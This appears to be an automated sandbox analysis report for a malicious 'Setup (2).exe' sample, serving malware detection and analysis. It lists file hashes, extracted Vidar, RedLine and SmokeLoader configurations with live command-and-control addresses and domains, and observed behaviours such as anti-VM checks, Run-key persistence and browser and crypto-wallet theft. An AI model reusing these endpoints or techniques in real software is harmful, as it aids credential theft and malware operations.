Overview
overview
10Static
static
Setup (1).exe
windows7_x64
10Setup (1).exe
windows10_x64
10Setup (10).exe
windows7_x64
10Setup (10).exe
windows10_x64
10Setup (11).exe
windows7_x64
10Setup (11).exe
windows10_x64
10Setup (12).exe
windows7_x64
10Setup (12).exe
windows10_x64
10Setup (13).exe
windows7_x64
10Setup (13).exe
windows10_x64
10Setup (14).exe
windows7_x64
10Setup (14).exe
windows10_x64
10Setup (15).exe
windows7_x64
10Setup (15).exe
windows10_x64
10Setup (16).exe
windows7_x64
10Setup (16).exe
windows10_x64
10Setup (17).exe
windows7_x64
10Setup (17).exe
windows10_x64
10Setup (18).exe
windows7_x64
10Setup (18).exe
windows10_x64
10Setup (19).exe
windows7_x64
10Setup (19).exe
windows10_x64
10Setup (2).exe
windows7_x64
10Setup (2).exe
windows10_x64
10Setup (20).exe
windows7_x64
10Setup (20).exe
windows10_x64
10Setup (21).exe
windows7_x64
10Setup (21).exe
windows10_x64
10Setup (22).exe
windows7_x64
10Setup (22).exe
windows10_x64
10Setup (23).exe
windows7_x64
10Setup (23).exe
windows10_x64
10Resubmissions
11-03-2024 21:22
240311-z8dsssgg58 1001-09-2021 13:18
210901-5bmxjspa5s 1001-09-2021 13:04
210901-te4btfspqa 1001-09-2021 05:12
210901-4wnkwm1p3j 1031-08-2021 21:47
210831-41rp97dma2 1031-08-2021 19:51
210831-359awwatje 1029-08-2021 11:37
210829-18htk4slyj 1028-08-2021 23:10
210828-rt8b9gzxn6 1028-08-2021 22:59
210828-zxgnh5j4w6 1028-08-2021 11:31
210828-xrjs66aknj 10Analysis
-
max time kernel
1414s -
max time network
1810s -
platform
windows10_x64 -
resource
win10v20210408 -
submitted
23-08-2021 15:20
Static task
static1
Behavioral task
behavioral1
Sample
Setup (1).exe
Resource
win7v20210408
Behavioral task
behavioral2
Sample
Setup (1).exe
Resource
win10v20210408
Behavioral task
behavioral3
Sample
Setup (10).exe
Resource
win7v20210410
Behavioral task
behavioral4
Sample
Setup (10).exe
Resource
win10v20210410
Behavioral task
behavioral5
Sample
Setup (11).exe
Resource
win7v20210408
Behavioral task
behavioral6
Sample
Setup (11).exe
Resource
win10v20210410
Behavioral task
behavioral7
Sample
Setup (12).exe
Resource
win7v20210408
Behavioral task
behavioral8
Sample
Setup (12).exe
Resource
win10v20210410
Behavioral task
behavioral9
Sample
Setup (13).exe
Resource
win7v20210410
Behavioral task
behavioral10
Sample
Setup (13).exe
Resource
win10v20210408
Behavioral task
behavioral11
Sample
Setup (14).exe
Resource
win7v20210410
Behavioral task
behavioral12
Sample
Setup (14).exe
Resource
win10v20210408
Behavioral task
behavioral13
Sample
Setup (15).exe
Resource
win7v20210410
Behavioral task
behavioral14
Sample
Setup (15).exe
Resource
win10v20210408
Behavioral task
behavioral15
Sample
Setup (16).exe
Resource
win7v20210410
Behavioral task
behavioral16
Sample
Setup (16).exe
Resource
win10v20210410
Behavioral task
behavioral17
Sample
Setup (17).exe
Resource
win7v20210408
Behavioral task
behavioral18
Sample
Setup (17).exe
Resource
win10v20210410
Behavioral task
behavioral19
Sample
Setup (18).exe
Resource
win7v20210408
Behavioral task
behavioral20
Sample
Setup (18).exe
Resource
win10v20210410
Behavioral task
behavioral21
Sample
Setup (19).exe
Resource
win7v20210408
Behavioral task
behavioral22
Sample
Setup (19).exe
Resource
win10v20210410
Behavioral task
behavioral23
Sample
Setup (2).exe
Resource
win7v20210410
Behavioral task
behavioral24
Sample
Setup (2).exe
Resource
win10v20210408
Behavioral task
behavioral25
Sample
Setup (20).exe
Resource
win7v20210410
Behavioral task
behavioral26
Sample
Setup (20).exe
Resource
win10v20210408
Behavioral task
behavioral27
Sample
Setup (21).exe
Resource
win7v20210410
Behavioral task
behavioral28
Sample
Setup (21).exe
Resource
win10v20210408
Behavioral task
behavioral29
Sample
Setup (22).exe
Resource
win7v20210410
Behavioral task
behavioral30
Sample
Setup (22).exe
Resource
win10v20210410
Behavioral task
behavioral31
Sample
Setup (23).exe
Resource
win7v20210408
General
-
Target
Setup (2).exe
-
Size
631KB
-
MD5
cb927513ff8ebff4dd52a47f7e42f934
-
SHA1
0de47c02a8adc4940a6c18621b4e4a619641d029
-
SHA256
fd5c970806fba1500cbb6af5328329aeb43b8de3f02d90ec5d8cd1d57711622f
-
SHA512
988c8fd886a9155b7d190faf2ce6b34d910efcffcf1c6251f18a9d0c804a0ea26a89679273033ac98b200363c536426efd1ae9de445c34e660369abb06f0071c
Malware Config
Extracted
vidar
40.1
973
https://eduarroma.tumblr.com/
-
profile_id
973
Extracted
redline
1
37.0.8.88:44263
Extracted
vidar
40.1
937
https://eduarroma.tumblr.com/
-
profile_id
937
Extracted
vidar
40.1
995
https://eduarroma.tumblr.com/
-
profile_id
995
Extracted
smokeloader
2020
http://readinglistforaugust1.xyz/
http://readinglistforaugust2.xyz/
http://readinglistforaugust3.xyz/
http://readinglistforaugust4.xyz/
http://readinglistforaugust5.xyz/
http://readinglistforaugust6.xyz/
http://readinglistforaugust7.xyz/
http://readinglistforaugust8.xyz/
http://readinglistforaugust9.xyz/
http://readinglistforaugust10.xyz/
http://readinglistforaugust1.site/
http://readinglistforaugust2.site/
http://readinglistforaugust3.site/
http://readinglistforaugust4.site/
http://readinglistforaugust5.site/
http://readinglistforaugust6.site/
http://readinglistforaugust7.site/
http://readinglistforaugust8.site/
http://readinglistforaugust9.site/
http://readinglistforaugust10.site/
http://readinglistforaugust1.club/
http://readinglistforaugust2.club/
http://readinglistforaugust3.club/
http://readinglistforaugust4.club/
http://readinglistforaugust5.club/
http://readinglistforaugust6.club/
http://readinglistforaugust7.club/
http://readinglistforaugust8.club/
http://readinglistforaugust9.club/
http://readinglistforaugust10.club/
Extracted
metasploit
windows/single_exec
Signatures
-
Glupteba Payload 2 IoCs
Processes:
resource yara_rule behavioral24/memory/3904-348-0x0000000004960000-0x0000000005286000-memory.dmp family_glupteba behavioral24/memory/3904-349-0x0000000000400000-0x00000000027DB000-memory.dmp family_glupteba -
MetaSploit
Detected malicious payload which is part of the Metasploit Framework, likely generated with msfvenom or similar.
-
NetSupport
NetSupport is a remote access tool sold as a legitimate system administration software.
-
Process spawned unexpected child process 3 IoCs
This typically indicates the parent process was compromised via an exploit or macro.
Processes:
rundll32.exerundll32.exerundll32.exedescription pid pid_target process target process Parent C:\Windows\system32\wbem\wmiprvse.exe is not expected to spawn this process 6120 1336 rundll32.exe Parent C:\Windows\system32\wbem\wmiprvse.exe is not expected to spawn this process 3160 1336 rundll32.exe Parent C:\Windows\system32\wbem\wmiprvse.exe is not expected to spawn this process 6936 1336 rundll32.exe -
RedLine
RedLine Stealer is a malware family written in C#, first appearing in early 2020.
-
RedLine Payload 17 IoCs
Processes:
resource yara_rule C:\Users\Admin\Documents\91b_xG4UC6wvh0AfGBHgwES6.exe family_redline C:\Users\Admin\Documents\n_zf2lCd7iqr37UhHsvOITg6.exe family_redline C:\Users\Admin\Documents\UYrkctL2OQTKGwhtF04YGAOe.exe family_redline C:\Users\Admin\Documents\n_zf2lCd7iqr37UhHsvOITg6.exe family_redline C:\Users\Admin\Documents\UYrkctL2OQTKGwhtF04YGAOe.exe family_redline behavioral24/memory/4812-271-0x0000000000400000-0x0000000000448000-memory.dmp family_redline behavioral24/memory/4812-274-0x000000000041A5EA-mapping.dmp family_redline behavioral24/memory/4812-308-0x0000000005270000-0x0000000005876000-memory.dmp family_redline behavioral24/memory/4176-324-0x000000000041A772-mapping.dmp family_redline behavioral24/memory/416-337-0x000000000041A616-mapping.dmp family_redline C:\Users\Admin\Documents\gd41tbyNVJg_wutYjqKRVTTH.exe family_redline C:\Users\Admin\Documents\Y643TsNZoE3CWoVkhfhTqBX3.exe family_redline C:\Users\Admin\Documents\gd41tbyNVJg_wutYjqKRVTTH.exe family_redline C:\Users\Admin\Documents\Y643TsNZoE3CWoVkhfhTqBX3.exe family_redline C:\Users\Admin\Documents\91b_xG4UC6wvh0AfGBHgwES6.exe family_redline behavioral24/memory/5088-374-0x000000000041A616-mapping.dmp family_redline behavioral24/memory/5088-400-0x0000000004DD0000-0x00000000053D6000-memory.dmp family_redline -
SmokeLoader
Modular backdoor trojan in use since 2014.
-
Suspicious use of NtCreateProcessExOtherParentProcess 4 IoCs
Processes:
WerFault.exeWerFault.exeWerFault.exedescription pid process target process PID 4704 created 2920 4704 WerFault.exe JGl2Cem4TMz2gb2tZV6ex4X8.exe PID 4520 created 3160 4520 rundll32.exe PID 5324 created 4396 5324 WerFault.exe lCCCfRn_0oTOk8ooaBV_amfq.exe PID 6216 created 4768 6216 WerFault.exe customer3.exe -
Suspicious use of NtCreateUserProcessOtherParentProcess 2 IoCs
Processes:
svchost.exedescription pid process target process PID 8956 created 3904 8956 svchost.exe VlpZHmNbmGdteOmxqVJqeU3o.exe PID 8956 created 7928 8956 svchost.exe aUfLmom0BKaVeeyivPlm65hL.exe -
Identifies VirtualBox via ACPI registry values (likely anti-VM) 2 TTPs
-
Vidar Stealer 6 IoCs
Processes:
resource yara_rule C:\Users\Admin\Documents\_nC2EOcl43xMFddfhK8fAc1I.exe family_vidar C:\Users\Admin\Documents\_nC2EOcl43xMFddfhK8fAc1I.exe family_vidar behavioral24/memory/1796-293-0x0000000004060000-0x00000000040FD000-memory.dmp family_vidar behavioral24/memory/1796-313-0x0000000000400000-0x0000000002402000-memory.dmp family_vidar behavioral24/memory/1156-319-0x0000000000400000-0x00000000023FF000-memory.dmp family_vidar behavioral24/memory/1156-299-0x00000000040B0000-0x000000000414D000-memory.dmp family_vidar -
Blocklisted process makes network request 64 IoCs
Processes:
rundll32.exerundll32.exeRUNDLL32.EXEflow pid process 143 3160 rundll32.exe 144 3160 rundll32.exe 472 3156 rundll32.exe 488 5348 RUNDLL32.EXE 492 5348 RUNDLL32.EXE 514 5348 RUNDLL32.EXE 492 5348 RUNDLL32.EXE 531 5348 RUNDLL32.EXE 534 5348 RUNDLL32.EXE 535 5348 RUNDLL32.EXE 543 5348 RUNDLL32.EXE 545 5348 RUNDLL32.EXE 546 5348 RUNDLL32.EXE 549 5348 RUNDLL32.EXE 551 5348 RUNDLL32.EXE 553 5348 RUNDLL32.EXE 555 5348 RUNDLL32.EXE 559 5348 RUNDLL32.EXE 560 5348 RUNDLL32.EXE 575 5348 RUNDLL32.EXE 576 5348 RUNDLL32.EXE 579 5348 RUNDLL32.EXE 591 5348 RUNDLL32.EXE 592 5348 RUNDLL32.EXE 593 5348 RUNDLL32.EXE 600 5348 RUNDLL32.EXE 601 5348 RUNDLL32.EXE 604 5348 RUNDLL32.EXE 606 5348 RUNDLL32.EXE 613 5348 RUNDLL32.EXE 614 5348 RUNDLL32.EXE 617 5348 RUNDLL32.EXE 619 5348 RUNDLL32.EXE 620 5348 RUNDLL32.EXE 623 5348 RUNDLL32.EXE 631 5348 RUNDLL32.EXE 632 5348 RUNDLL32.EXE 634 5348 RUNDLL32.EXE 638 5348 RUNDLL32.EXE 639 5348 RUNDLL32.EXE 646 5348 RUNDLL32.EXE 649 5348 RUNDLL32.EXE 650 5348 RUNDLL32.EXE 652 5348 RUNDLL32.EXE 653 5348 RUNDLL32.EXE 666 5348 RUNDLL32.EXE 668 5348 RUNDLL32.EXE 669 5348 RUNDLL32.EXE 679 5348 RUNDLL32.EXE 680 5348 RUNDLL32.EXE 682 5348 RUNDLL32.EXE 690 5348 RUNDLL32.EXE 691 5348 RUNDLL32.EXE 698 5348 RUNDLL32.EXE 699 5348 RUNDLL32.EXE 707 5348 RUNDLL32.EXE 708 5348 RUNDLL32.EXE 717 5348 RUNDLL32.EXE 718 5348 RUNDLL32.EXE 726 5348 RUNDLL32.EXE 727 5348 RUNDLL32.EXE 741 5348 RUNDLL32.EXE 742 5348 RUNDLL32.EXE 748 5348 RUNDLL32.EXE -
Downloads MZ/PE file
-
Drops file in Drivers directory 3 IoCs
Processes:
DrvInst.exedescription ioc process File created C:\Windows\System32\drivers\SET92F6.tmp DrvInst.exe File opened for modification C:\Windows\System32\drivers\tap0901.sys DrvInst.exe File opened for modification C:\Windows\System32\drivers\SET92F6.tmp DrvInst.exe -
Executes dropped EXE 64 IoCs
Processes:
ozyrYY7iY8h0_1WTWvTK1gyL.exeR1FP6s6fw0A8v8prbub5phv0.exefOuCamuGtxSiwjmw75Zz5m4y.exeXGmzyOBYfZX4Y4_SBh0RT_UD.exeZqpyEtsbY4fwYoyBNtCbIDxK.exeVlpZHmNbmGdteOmxqVJqeU3o.exen_zf2lCd7iqr37UhHsvOITg6.exe91b_xG4UC6wvh0AfGBHgwES6.exefPgM0G3n7rhaijLDD_pL2u0p.exe_nC2EOcl43xMFddfhK8fAc1I.exehvdWqClk8bbybF0FZWFjDNPU.exeiXuyYnQI0maIV3eqPgaM8iuo.exeJGl2Cem4TMz2gb2tZV6ex4X8.exeJ2owPAUGQjmOpvZIfDOZ3EEB.exeCVtpcNtrojIi9bczUlkTsrMd.exeOdbJZXJnT5BElA9N_rpC_5MO.exekXeyg8P_Y4lYzOSnJKBRTXzH.exeUYrkctL2OQTKGwhtF04YGAOe.exeEd3Gclrtkl1Ek85dcxCUI1m8.exeOM3aKzyEGIUeNPcqKcDvn1ON.exeK4jhHoT1H3pgdnpkYVNtPa_h.exeY643TsNZoE3CWoVkhfhTqBX3.exeihar12fqdZjlFuD9wMggUGlV.exegd41tbyNVJg_wutYjqKRVTTH.exetaskkill.exelCCCfRn_0oTOk8ooaBV_amfq.exeEAIbE1J8PTDkC7Gf2aMII5iQ.exeb9NkWh7Fvai3VM3TxkxGpdyn.exefOuCamuGtxSiwjmw75Zz5m4y.exeozyrYY7iY8h0_1WTWvTK1gyL.exeDllHost.exefOuCamuGtxSiwjmw75Zz5m4y.exefOuCamuGtxSiwjmw75Zz5m4y.exeEAIbE1J8PTDkC7Gf2aMII5iQ.exeb9NkWh7Fvai3VM3TxkxGpdyn.exejooyu.exesTQ4wwD4xnoOY9cBpfJye4ev.execustomer3.exeConhost.exeJ2owPAUGQjmOpvZIfDOZ3EEB.exe8752555.exe6999093.exe3152080.exe1982896.exejfiag3g_gg.exeHkRtqjAALeZZsV5jIKhG3Ubr.exeHkRtqjAALeZZsV5jIKhG3Ubr.tmphBS_VbW.EXEWinHoster.exeConhost.exe3zbtCIqjlR2JyAQgAiR9Bfp3.exe11111.exeCVtpcNtrojIi9bczUlkTsrMd.exe11111.exeEsplorarne.exe.com11111.exeStats.exerunvd.exeInlog.exeCleaner Installation.exeWEATHER Manager.exeVPN.exeaskinstall53.exehBS_VbW.EXEpid process 2200 ozyrYY7iY8h0_1WTWvTK1gyL.exe 2552 R1FP6s6fw0A8v8prbub5phv0.exe 3464 fOuCamuGtxSiwjmw75Zz5m4y.exe 3160 XGmzyOBYfZX4Y4_SBh0RT_UD.exe 4068 ZqpyEtsbY4fwYoyBNtCbIDxK.exe 3904 VlpZHmNbmGdteOmxqVJqeU3o.exe 1000 n_zf2lCd7iqr37UhHsvOITg6.exe 1036 91b_xG4UC6wvh0AfGBHgwES6.exe 2224 fPgM0G3n7rhaijLDD_pL2u0p.exe 2804 _nC2EOcl43xMFddfhK8fAc1I.exe 3384 hvdWqClk8bbybF0FZWFjDNPU.exe 1796 iXuyYnQI0maIV3eqPgaM8iuo.exe 2920 JGl2Cem4TMz2gb2tZV6ex4X8.exe 3540 J2owPAUGQjmOpvZIfDOZ3EEB.exe 1724 CVtpcNtrojIi9bczUlkTsrMd.exe 1156 OdbJZXJnT5BElA9N_rpC_5MO.exe 2352 kXeyg8P_Y4lYzOSnJKBRTXzH.exe 3024 UYrkctL2OQTKGwhtF04YGAOe.exe 1784 Ed3Gclrtkl1Ek85dcxCUI1m8.exe 1868 OM3aKzyEGIUeNPcqKcDvn1ON.exe 4144 K4jhHoT1H3pgdnpkYVNtPa_h.exe 4184 Y643TsNZoE3CWoVkhfhTqBX3.exe 4284 ihar12fqdZjlFuD9wMggUGlV.exe 4232 gd41tbyNVJg_wutYjqKRVTTH.exe 4328 taskkill.exe 4396 lCCCfRn_0oTOk8ooaBV_amfq.exe 4500 EAIbE1J8PTDkC7Gf2aMII5iQ.exe 4680 b9NkWh7Fvai3VM3TxkxGpdyn.exe 4736 fOuCamuGtxSiwjmw75Zz5m4y.exe 4812 ozyrYY7iY8h0_1WTWvTK1gyL.exe 4060 DllHost.exe 4964 fOuCamuGtxSiwjmw75Zz5m4y.exe 4176 fOuCamuGtxSiwjmw75Zz5m4y.exe 1200 EAIbE1J8PTDkC7Gf2aMII5iQ.exe 416 b9NkWh7Fvai3VM3TxkxGpdyn.exe 4880 jooyu.exe 4580 sTQ4wwD4xnoOY9cBpfJye4ev.exe 4768 customer3.exe 4252 Conhost.exe 5088 J2owPAUGQjmOpvZIfDOZ3EEB.exe 4740 8752555.exe 412 6999093.exe 5132 3152080.exe 5200 1982896.exe 5284 jfiag3g_gg.exe 5456 HkRtqjAALeZZsV5jIKhG3Ubr.exe 5548 HkRtqjAALeZZsV5jIKhG3Ubr.tmp 6032 hBS_VbW.EXE 2864 WinHoster.exe 5844 Conhost.exe 6068 3zbtCIqjlR2JyAQgAiR9Bfp3.exe 768 11111.exe 6232 CVtpcNtrojIi9bczUlkTsrMd.exe 6252 11111.exe 6632 Esplorarne.exe.com 6764 11111.exe 6820 Stats.exe 6832 runvd.exe 6840 Inlog.exe 6848 Cleaner Installation.exe 6860 WEATHER Manager.exe 6900 VPN.exe 6940 askinstall53.exe 6988 hBS_VbW.EXE -
Checks BIOS information in registry 2 TTPs 20 IoCs
BIOS information is often read in order to detect sandboxing environments.
Processes:
91b_xG4UC6wvh0AfGBHgwES6.exeUYrkctL2OQTKGwhtF04YGAOe.exeKsworbZeTIo24cyeT1ofJWo_.exen_zf2lCd7iqr37UhHsvOITg6.exeY643TsNZoE3CWoVkhfhTqBX3.exeSZc7fXwttJeRSQADolGmkBM5.exego9cH48Bb4zuYtKyPiBOlZX1.exezbwzoQimdRROGEo9mHvPf4j1.exeuwz6ZUHSCyxltV2IgG5A08cq.exegd41tbyNVJg_wutYjqKRVTTH.exedescription ioc process Key value queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\VideoBiosVersion 91b_xG4UC6wvh0AfGBHgwES6.exe Key value queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\VideoBiosVersion UYrkctL2OQTKGwhtF04YGAOe.exe Key value queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\SystemBiosVersion KsworbZeTIo24cyeT1ofJWo_.exe Key value queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\SystemBiosVersion n_zf2lCd7iqr37UhHsvOITg6.exe Key value queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\VideoBiosVersion Y643TsNZoE3CWoVkhfhTqBX3.exe Key value queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\SystemBiosVersion SZc7fXwttJeRSQADolGmkBM5.exe Key value queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\VideoBiosVersion SZc7fXwttJeRSQADolGmkBM5.exe Key value queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\SystemBiosVersion 91b_xG4UC6wvh0AfGBHgwES6.exe Key value queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\SystemBiosVersion go9cH48Bb4zuYtKyPiBOlZX1.exe Key value queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\SystemBiosVersion zbwzoQimdRROGEo9mHvPf4j1.exe Key value queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\SystemBiosVersion uwz6ZUHSCyxltV2IgG5A08cq.exe Key value queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\VideoBiosVersion uwz6ZUHSCyxltV2IgG5A08cq.exe Key value queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\SystemBiosVersion UYrkctL2OQTKGwhtF04YGAOe.exe Key value queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\SystemBiosVersion gd41tbyNVJg_wutYjqKRVTTH.exe Key value queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\VideoBiosVersion gd41tbyNVJg_wutYjqKRVTTH.exe Key value queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\VideoBiosVersion go9cH48Bb4zuYtKyPiBOlZX1.exe Key value queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\VideoBiosVersion zbwzoQimdRROGEo9mHvPf4j1.exe Key value queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\VideoBiosVersion KsworbZeTIo24cyeT1ofJWo_.exe Key value queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\VideoBiosVersion n_zf2lCd7iqr37UhHsvOITg6.exe Key value queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\SystemBiosVersion Y643TsNZoE3CWoVkhfhTqBX3.exe -
Checks computer location settings 2 TTPs 6 IoCs
Looks up country code configured in the registry, likely geofence.
Processes:
Setup (2).exextect12.exebtsitavcmd.exeWeather.exeWeather.exedescription ioc process Key value queried \REGISTRY\USER\S-1-5-21-1594587808-2047097707-2163810515-1000\Control Panel\International\Geo\Nation Setup (2).exe Key value queried \REGISTRY\USER\S-1-5-21-1594587808-2047097707-2163810515-1000\Control Panel\International\Geo\Nation xtect12.exe Key value queried \REGISTRY\USER\S-1-5-21-1594587808-2047097707-2163810515-1000\Control Panel\International\Geo\Nation btsitav Key value queried \REGISTRY\USER\S-1-5-21-1594587808-2047097707-2163810515-1000\Control Panel\International\Geo\Nation cmd.exe Key value queried \REGISTRY\USER\S-1-5-21-1594587808-2047097707-2163810515-1000\Control Panel\International\Geo\Nation Weather.exe Key value queried \REGISTRY\USER\S-1-5-21-1594587808-2047097707-2163810515-1000\Control Panel\International\Geo\Nation Weather.exe -
Drops startup file 1 IoCs
Processes:
Esplorarne.exe.comdescription ioc process File created C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\iZpAWbaURv.url Esplorarne.exe.com -
Loads dropped DLL 64 IoCs
Processes:
HkRtqjAALeZZsV5jIKhG3Ubr.tmpiXuyYnQI0maIV3eqPgaM8iuo.exedllhost.exe_nC2EOcl43xMFddfhK8fAc1I.exeEAIbE1J8PTDkC7Gf2aMII5iQ.exerundll32.exerundll32.exeCleaner Installation.exeWEATHER Manager.tmpVPN.tmpInlog.tmpStats.tmpMediaBurner2.tmprunvd.exerundll32.exeSetup.exeSetup.tmpSetup.tmpcmd.exeV4u5j96Bd6n84PYzIUN4DUY2.exeerHF7ALEexVo6HS5mSuw0Zii.exeSjM4hdQvifikxNBUavWDMev0.exeMoKLaz0woWj79HL5Op0XYhse.tmpfBw0zsDv7ZMhhLbl3s7mh922.exeMsiExec.exeMsiExec.exerundll32.exeGameBoxWin64.exeWeather.exeMsiExec.exepid process 5548 HkRtqjAALeZZsV5jIKhG3Ubr.tmp 5548 HkRtqjAALeZZsV5jIKhG3Ubr.tmp 1796 iXuyYnQI0maIV3eqPgaM8iuo.exe 1796 iXuyYnQI0maIV3eqPgaM8iuo.exe 1156 dllhost.exe 1156 dllhost.exe 2804 _nC2EOcl43xMFddfhK8fAc1I.exe 2804 _nC2EOcl43xMFddfhK8fAc1I.exe 1200 EAIbE1J8PTDkC7Gf2aMII5iQ.exe 1200 EAIbE1J8PTDkC7Gf2aMII5iQ.exe 1200 EAIbE1J8PTDkC7Gf2aMII5iQ.exe 2876 rundll32.exe 6640 rundll32.exe 6848 Cleaner Installation.exe 7112 WEATHER Manager.tmp 7112 WEATHER Manager.tmp 2068 VPN.tmp 2068 VPN.tmp 7040 Inlog.tmp 7040 Inlog.tmp 7048 Stats.tmp 7048 Stats.tmp 6156 MediaBurner2.tmp 6832 runvd.exe 6832 runvd.exe 3156 rundll32.exe 5108 Setup.exe 7660 Setup.tmp 7660 Setup.tmp 7660 Setup.tmp 7660 Setup.tmp 7660 Setup.tmp 7660 Setup.tmp 7660 Setup.tmp 7660 Setup.tmp 7464 Setup.tmp 4044 cmd.exe 7808 V4u5j96Bd6n84PYzIUN4DUY2.exe 7808 V4u5j96Bd6n84PYzIUN4DUY2.exe 7864 erHF7ALEexVo6HS5mSuw0Zii.exe 7864 erHF7ALEexVo6HS5mSuw0Zii.exe 7800 SjM4hdQvifikxNBUavWDMev0.exe 7800 SjM4hdQvifikxNBUavWDMev0.exe 7792 MoKLaz0woWj79HL5Op0XYhse.tmp 7792 MoKLaz0woWj79HL5Op0XYhse.tmp 7636 fBw0zsDv7ZMhhLbl3s7mh922.exe 7636 fBw0zsDv7ZMhhLbl3s7mh922.exe 7636 fBw0zsDv7ZMhhLbl3s7mh922.exe 8428 MsiExec.exe 8428 MsiExec.exe 8428 MsiExec.exe 2956 MsiExec.exe 2956 MsiExec.exe 8076 rundll32.exe 4348 GameBoxWin64.exe 4348 GameBoxWin64.exe 8532 Weather.exe 8532 Weather.exe 8532 Weather.exe 8532 Weather.exe 8532 Weather.exe 8532 Weather.exe 4348 GameBoxWin64.exe 7248 MsiExec.exe -
Reads user/profile data of web browsers 2 TTPs
Infostealers often target stored browser data, which can include saved credentials etc.
-
Processes:
resource yara_rule C:\Users\Admin\Documents\91b_xG4UC6wvh0AfGBHgwES6.exe themida C:\Users\Admin\Documents\n_zf2lCd7iqr37UhHsvOITg6.exe themida C:\Users\Admin\Documents\UYrkctL2OQTKGwhtF04YGAOe.exe themida C:\Users\Admin\Documents\n_zf2lCd7iqr37UhHsvOITg6.exe themida C:\Users\Admin\Documents\UYrkctL2OQTKGwhtF04YGAOe.exe themida behavioral24/memory/1036-247-0x0000000001360000-0x0000000001361000-memory.dmp themida behavioral24/memory/3024-244-0x0000000000D60000-0x0000000000D61000-memory.dmp themida behavioral24/memory/4184-251-0x0000000000D00000-0x0000000000D01000-memory.dmp themida behavioral24/memory/4232-278-0x0000000000820000-0x0000000000821000-memory.dmp themida behavioral24/memory/1000-228-0x0000000000D90000-0x0000000000D91000-memory.dmp themida C:\Users\Admin\Documents\gd41tbyNVJg_wutYjqKRVTTH.exe themida C:\Users\Admin\Documents\Y643TsNZoE3CWoVkhfhTqBX3.exe themida C:\Users\Admin\Documents\gd41tbyNVJg_wutYjqKRVTTH.exe themida C:\Users\Admin\Documents\Y643TsNZoE3CWoVkhfhTqBX3.exe themida C:\Users\Admin\Documents\91b_xG4UC6wvh0AfGBHgwES6.exe themida -
Accesses cryptocurrency files/wallets, possible credential harvesting 2 TTPs
-
Adds Run key to start application 2 TTPs 5 IoCs
Processes:
Weather_Installation.exe6999093.exeaipackagechainer.exedescription ioc process Key created \REGISTRY\MACHINE\Software\WOW6432Node\Microsoft\Windows\CurrentVersion\Run Weather_Installation.exe Set value (str) \REGISTRY\MACHINE\SOFTWARE\WOW6432Node\Microsoft\Windows\CurrentVersion\Run\Weather = "C:\\Users\\Admin\\AppData\\Roaming\\Weather\\Weather.exe --Ac4FtzsAeC" Weather_Installation.exe Set value (str) \REGISTRY\USER\S-1-5-21-1594587808-2047097707-2163810515-1000\Software\Microsoft\Windows\CurrentVersion\Run\WinHost = "C:\\Users\\Admin\\AppData\\Roaming\\WinHost\\WinHoster.exe" 6999093.exe Key created \REGISTRY\USER\S-1-5-21-1594587808-2047097707-2163810515-1000\Software\Microsoft\Windows\CurrentVersion\Run aipackagechainer.exe Set value (str) \REGISTRY\USER\S-1-5-21-1594587808-2047097707-2163810515-1000\Software\Microsoft\Windows\CurrentVersion\Run\ aipackagechainer.exe -
Checks installed software on the system 1 TTPs
Looks up Uninstall key entries in the registry to enumerate software on the system.
-
Processes:
91b_xG4UC6wvh0AfGBHgwES6.exegd41tbyNVJg_wutYjqKRVTTH.exesTQ4wwD4xnoOY9cBpfJye4ev.exego9cH48Bb4zuYtKyPiBOlZX1.exebtsitavKsworbZeTIo24cyeT1ofJWo_.exezbwzoQimdRROGEo9mHvPf4j1.exen_zf2lCd7iqr37UhHsvOITg6.exeY643TsNZoE3CWoVkhfhTqBX3.exeUYrkctL2OQTKGwhtF04YGAOe.exeuwz6ZUHSCyxltV2IgG5A08cq.exeSZc7fXwttJeRSQADolGmkBM5.exedescription ioc process Key value queried \REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System\EnableLUA 91b_xG4UC6wvh0AfGBHgwES6.exe Key value queried \REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System\EnableLUA gd41tbyNVJg_wutYjqKRVTTH.exe Key value queried \REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System\EnableLUA sTQ4wwD4xnoOY9cBpfJye4ev.exe Key value queried \REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System\EnableLUA go9cH48Bb4zuYtKyPiBOlZX1.exe Key value queried \REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System\EnableLUA btsitav Key value queried \REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System\EnableLUA KsworbZeTIo24cyeT1ofJWo_.exe Key value queried \REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System\EnableLUA zbwzoQimdRROGEo9mHvPf4j1.exe Key value queried \REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System\EnableLUA n_zf2lCd7iqr37UhHsvOITg6.exe Key value queried \REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System\EnableLUA Y643TsNZoE3CWoVkhfhTqBX3.exe Key value queried \REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System\EnableLUA UYrkctL2OQTKGwhtF04YGAOe.exe Key value queried 